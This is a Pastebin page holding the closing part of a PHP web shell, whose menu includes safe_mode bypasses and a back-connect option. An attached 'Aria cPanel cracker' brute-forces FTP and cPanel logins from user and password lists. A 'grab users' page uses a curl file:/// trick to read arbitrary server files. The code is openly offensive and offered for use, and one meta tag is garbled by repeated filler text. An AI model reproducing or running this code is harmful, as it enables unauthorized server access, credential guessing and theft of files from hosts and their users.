  2407. case 'php4':
  2408. ephp4();
  2409. break;
  2410. // Php 4.4.x Bypass
  2411. case '444':
  2412. e444();
  2413. break;
  2414. // Perl cgi
  2415. case 'cgi':
  2416. ecgi();
  2417. break;
  2418. // ln -s bypass
  2419. case 'lns':
  2420. elns();
  2421. break;
  2422. // Apachi Bypass
  2423. case 'apachi':
  2424. eapachi();
  2425. break;
  2426. // Work with MySQL
  2427. case 'mysql':
  2428. emysql();
  2429. break;
  2430. // Back connect
  2431. case 'bcon':
  2432. eback();
  2433. break;
  2434. // File Edit
  2435. case 'fedit':
  2436. fedit();
  2437. break;
  2438. // Php Info
  2439. case 'info':
  2440. info();
  2441. break;
  2442. // Default
  2443. default: def();
  2444. }
  2445. //*******************************************************
  2446.  
  2447. ?>
  2448. </td>
  2449. </tr>
  2450. <tr>
  2451. <td style="border: 1px solid #0080FF">
  2452. <p align="center">
  2453. <font color="#FF0000" size="2"><b>:::::::::::::::: [ :: Copyright &copy 2016 - Developed</a> by WoLF</a> :: ] ::::::::::::::::<br>coret by Aissa WOLF </b></font>
  2454. </p></td>
  2455. </tr>
  2456. </table>
  2457. </div>
  2458. </font>
  2459. </body>
  2460. </html>
  2461. <?php
  2462. $mode="cp";//????????????.
  2463. if($_REQUEST['panel']!=$mode)
  2464. {
  2465. echo "<iframe src=cp width=100% height=100% frameborder=0></iframe> ";
  2466. exit;
  2467. }
  2468. ?>
  2469. <html>
  2470. <head>
  2471. <sakincali kodsakincali kodsakincali kodsakincali kod sakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kod="Content-Language" content="en-us">
  2472. </head>
  2473. <title>Aria cPanel cracker version : 1.0</title>
  2474. <style>
  2475. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  2476. input,
  2477. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  2478. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  2479. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
  2480. a:active { outline: none; }
  2481. a:focus { -moz-outline-style: none; }
  2482. </style>
  2483. <style type='text/css'>
  2484. <!--
  2485. A:link {text-decoration: none; color:#cccccc }
  2486. A:visited {text-decoration: none; color:#cccccc }
  2487. a:hover {text-decoration: none; color:#000000}
  2488. -->
  2489. </style>
  2490. <?php
  2491. /* This Code was originaly written by Aria-Security Team [Persian Security Network]
  2492. we are not responsible for any damage/usage done with this script
  2493. http://Aria-Security.com
  2494. */
  2495. @ini_set('memory_limit', 1000000000000);
  2496. $connect_timeout=5;
  2497. @set_time_limit(0);
  2498. $submit = $_REQUEST['submit'];
  2499. $users = $_REQUEST['users'];
  2500. $pass = $_REQUEST['passwords'];
  2501. $target = $_REQUEST['target'];
  2502. $option = $_REQUEST['option'];
  2503. $page = $_GET['page'];
  2504.  
  2505. if($target == ''){
  2506. $target = 'localhost';
  2507. }
  2508. ?>
  2509.  
  2510. <?php
  2511. print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'>
  2512. <br><b><center><a href='?panel=cp&page=bio'> About </a> - <a href='?panel=cp&page=crack'> crack </a> - <a href='?panel=cp&page=users'> grab users </a><br><br></center></td></tr></table>";
  2513. if ( $page == 'bio' ){
  2514. print
  2515. "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  2516. <br><b>Please enter your USERNAME and PASSWORD to logon<br>
  2517. user<br>
  2518. 220 +ok<br>
  2519. pass ********<br>
  2520. 220 +ok login successful<br>
  2521. [ agramksa@w.cn ]# info<b><br><font face=tahoma><br>
  2522. <font color='red' >sa-hacker.com cPanel cracker version : 1.0 </font><b><br><br>
  2523. Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br>
  2524. Our website , <a href='http://www.sa-hacker.com'> http://www.sa-hacker.com</a><br>
  2525. </center><br></td></tr></table>";
  2526. }elseif( $page == 'crack'){
  2527. // Aria-Security Team [Persian Security Network]
  2528. @ini_set('memory_limit', 1000000000000);
  2529. $connect_timeout=5;
  2530. @set_time_limit(0);
  2531. $submit = $_REQUEST['submit'];
  2532. $users = $_REQUEST['users'];
  2533. $pass = $_REQUEST['passwords'];
  2534. $target = $_REQUEST['target'];
  2535. $option = $_REQUEST['option'];
  2536. if($target == ''){
  2537. $target = 'localhost';
  2538. }
  2539. print " <div align='center'>
  2540. <form method='post' style='border: 1px solid #000000'><br><br>
  2541. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  2542. <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
  2543. <div align='center'><br>
  2544. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
  2545. <tr>
  2546. <td align='center'>
  2547. <b>Username</b></td>
  2548. <td>
  2549. <p align='center'>
  2550. <b>Password</b></td>
  2551. </tr>
  2552. </table>
  2553. <p align='center'>
  2554. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
  2555. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br>
  2556. <br>
  2557. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  2558. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
  2559. </td></tr></table></td></tr></form><p align= 'left'>";
  2560. ?>
  2561. <?php
  2562. function ftp_check($host,$user,$pass,$timeout){
  2563. $ch = curl_init();
  2564. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  2565. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2566. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  2567. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  2568. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  2569. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  2570. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  2571. $data = curl_exec($ch);
  2572. if ( curl_errno($ch) == 28 ) {
  2573.  
  2574. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  2575. exit;}
  2576.  
  2577. elseif ( curl_errno($ch) == 0 ){
  2578.  
  2579. print
  2580. "<b>[ user@aria-security.com ]# </b>
  2581. <b> Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
  2582. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  2583.  
  2584. function cpanel_check($host,$user,$pass,$timeout){
  2585. $ch = curl_init();
  2586. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  2587. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2588. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  2589. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  2590. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  2591. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  2592. $data = curl_exec($ch);
  2593. if ( curl_errno($ch) == 28 ) {
  2594. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  2595. exit;}
  2596. elseif ( curl_errno($ch) == 0 ){
  2597.  
  2598. print
  2599. "<b>[ user@aria-security.com ]# </b>
  2600. <b>Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
  2601. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  2602.  
  2603. if(isset($submit) && !empty($submit)){
  2604.  
  2605. $userlist = explode ("\n" , $users );
  2606. $passlist = explode ("\n" , $pass );
  2607. print "<b>[ user@aria-security.com ]# Attacking ...</font></b><br>";
  2608. foreach ($userlist as $user) {
  2609. $_user = trim($user);
  2610. foreach ($passlist as $password ) {
  2611. $_pass = trim($password);
  2612. if($option == "ftp"){
  2613. ftp_check($target,$_user,$_pass,$connect_timeout);
  2614. }
  2615. if ($option == "cpanel")
  2616. {
  2617. cpanel_check($target,$_user,$_pass,$connect_timeout);
  2618. }
  2619. }
  2620. }
  2621. }
  2622. }elseif ( $page == 'users'){
  2623. echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>";
  2624. echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>';
  2625. $file = $_POST['file'];
  2626. $level=0;
  2627. if(!file_exists("file:"))
  2628. @mkdir("file:");
  2629. @chdir("file:");
  2630. $level++;
  2631.  
  2632. $hardstyle = @explode("/", $file); // A R I A
  2633.  
  2634. for($a=0;$a<count($hardstyle);$a++){
  2635. if(!empty($hardstyle[$a])){
  2636. if(!file_exists($hardstyle[$a]))
  2637. @mkdir($hardstyle[$a]);
  2638. @chdir($hardstyle[$a]);
  2639. $level++;
  2640. }
  2641. }
  2642. while($level--) chdir("..");
  2643. $ch = curl_init();
  2644. curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
  2645. echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
  2646. if(FALSE==curl_exec($ch))
  2647. die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
  2648. echo ' </textarea> </FONT>';
  2649. curl_close($ch);
  2650. print '</table>';
  2651. }
  2652. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!